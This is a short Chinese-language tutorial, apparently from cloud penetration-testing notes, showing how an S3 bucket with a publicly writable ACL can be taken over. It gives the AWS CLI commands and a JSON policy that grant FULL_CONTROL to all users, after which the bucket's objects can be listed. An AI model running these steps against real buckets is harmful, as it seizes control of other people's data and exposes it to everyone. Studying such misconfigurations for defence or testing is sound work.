Bucket ACL 可写


列出目标 Bucket 提示被拒绝



查看目标 Bucket ACL 策略发现是可读的,且策略如下

aws s3api get-bucket-acl --bucket teamssix
1


查询官方文档,内容如下:





通过官方文档,可以分析出这个策略表示任何人都可以访问、写入当前 Bucket 的 ACL

那么也就是说如果我们把权限修改为 FULL_CONTROL 后,就可以控制这个 Bucket 了,最后修改后的策略如下:

{
    "Owner": {
        "ID": "d24***5"
    },
    "Grants": [
	{
            "Grantee": {
                "Type": "Group", 
                "URI": "http://acs.amazonaws.com/groups/global/AllUsers"
            }, 
            "Permission": "FULL_CONTROL"
        } 
    ]
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14

将该策略写入

aws s3api put-bucket-acl --bucket teamssix --access-control-policy file://acl.json
1


再次尝试,发现就可以列出对象了



参考资料:

https://mp.weixin.qq.com/s/eZ8OAO5ELgUNvVricIStGA

https://mp.weixin.qq.com/s/r0DuASP6gH_48b5sJ1DCTw

https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/acl-overview.html